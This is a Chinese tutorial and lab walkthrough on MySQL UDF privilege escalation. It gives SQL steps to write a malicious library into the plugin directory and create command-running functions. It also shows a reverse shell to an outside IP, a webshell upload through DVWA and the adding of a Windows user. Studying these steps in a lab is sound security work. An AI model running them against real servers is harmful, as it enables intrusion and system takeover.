MySQL UDF 提权
Posted shavchen
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL UDF 提权相关的知识,希望对你有一定的参考价值。
概述
UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 mysql 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 一样方便。
UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限,从而达到提权的目的。
要实现 UDF 提权需要有一个动态链接库文件
- 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。
- 如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\\Windows\\System32。
复现
实验环境
MySQL 5.7.28
phpstudy
MacOS
获取动态链接库
-
SQLMap 的udf提权动态链接库
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。
可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
-
Metasploit 的udf提权动态链接库
寻找插件目录
接下来需要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询插件目录:
show variables like '%plugin%';
如果不存在 plugin_dir 的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \\lib\\plugin 文件夹。
查看安装目录的方法:
select @@basedir;
写入动态链接库
前提条件
SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
查询:show variables like ‘%secure%’
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
修改方法:在my.ini,查找secure_file_priv。
- 1 存在,修改为secure_file_priv=。
- 2 不存在,则在[mysqld]下,新增secure_file_priv=。
这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。
将 动态链接库 读取为 HEX,
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
windows环境下使用.dll文件。
然后再写入到插件目录。
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';
成功写入到插件目录。
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
执行命令
攻击者可以利用 udf.dll 提供的函数执行系统命令。
可以看到通过自定义函数已经获取到了最高系统权限。
通过 drop function sys_eval;
可以删除创建的函数。
Navicat通过隧道连接内网MySQL
将Navicat自带的ntunnel_mysql
脚本上传到目标服务器上
然后使用 http 隧道即可建立连接。
反弹Shell
上传一个支持反弹shell的动态链接库 udf.dll
mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
mysql> select backshell("192.168.12.1",6677);
Mysql提权-基于Mysql的UDF提权(Windows系统)1
基于Mysql的UDF提权(Windows系统)1
【实验目的】
??通过本实验理解如何通过webshell结合dll文件对Windows系统进行UDF提权,掌握UDF提权的基本思路,熟悉UDF提权的主要方法。
【实验环境】
攻击机:Win2008-att
用户名college,密码360College
webshell脚本:dama.php
udf提权脚本:udf.php
目标靶机:Win2003-DVWA
用户名college,密码360College
【实验原理】
??UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就像使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。
【实验步骤】
??1.在靶机Win2003-DVWA上,启动phpstudy,开启漏洞环境。
??2.在攻击机上,启动Firefox浏览器,登录靶机上的DVWA网站。
网站的URL为:http://【靶机IP地址】/dvwa
登录用户名为admin,密码为password
??3.成功登录DVWA网站后,选择网站左侧菜单“DVWA Security”,将DVWA网站安全等级设置为“Low”。
??4.选择网站左侧菜单“File Upload”,将攻击机Win2008-att桌面文件夹Tools中的dama.php(实验中所用的webshell)文件上传至靶机。
??5.dama.php上传成功后,在攻击机浏览的地址栏中输入如下URL连接dama.php:
http://【靶机IP地址】/dvwa/hackable/uploads/dama.php
??出现登录提示框时,输入密码hucyuansheng登录。
??6.成功登录dama.php后,选择左侧菜单“信息操作”->“上传文件”,将攻击机Win2008-att桌面文件夹Tools中的udf.php文件上传至靶机。默认上传路径为dama.php所在的目录,即C:/Program Files/phpStudy/WWW/DVWA/hackable/uploads。
??7.仍然在dama.php主界面上,选择左侧菜单“本地磁盘”->“本地磁盘(C:)”,在C:/Program Files/phpStudy/MySQL/lib目录下创建名为plugin的文件夹。
??8.在攻击机上,利用Firefox浏览器连接目标靶机上的udf.php脚本。
URL为:http://【靶机IP地址】/dvwa/hackable/uploads/udf.php
host:127.0.0.1
mysql账号:root
密码:root
数据库名:mysql
??9.udf.php连接成功后,在“DLL导出路径”处填写C:\Program Files\phpStudy\MySQL\lib\plugin\udf.dll,并点击“导出到此目录”按钮。如果执行成功,udf.dll文件将被导出至指定目录。
??注:(1)在填写DLL导出路径时,应使用“\”(双反斜杠)。
??(2)MySQL数据库的版本不同,导出路径也不尽相同。当MySQL版本<5.0时,导出路径随意;如果5.0<=MySQL版本<5.1,则需要导出至目标服务器的系统目录(如:system32);如果MySQL版本>5.1,则需要导出至MySQL数据库插件的安装目录,本例中为C:Program FilesphpStudyMySQLlibplugin。由于plugin目录默认是不存在的,因此在本实验的第7步中需要利用webshell创建该目录。
??10.udf.dll导出成功后,仍然在udf.php主界面执行下列命令,创建cmdshell函数:
create function cmdshell returns string soname ‘udf.dll’;
??11.如果cmdshell函数创建成功,则可利用该函数在靶机操作系统中添加名为admin12的用户,所用命令为:
select cmdshell(‘net user admin12 admin12 /add’);
??12.在靶机上验证攻击效果:在cmd下输入net user命令,会看到靶机操作系统中被添加了一个用户“admin12”。
??实验至此结束。
【思考与总结】
??通过本次实验,掌握了利用webshell结合dll文件对Windows系统进行UDF提权的方法。
以上是关于MySQL UDF 提权的主要内容,如果未能解决你的问题,请参考以下文章
Mysql提权-基于Mysql的UDF提权(Windows系统)1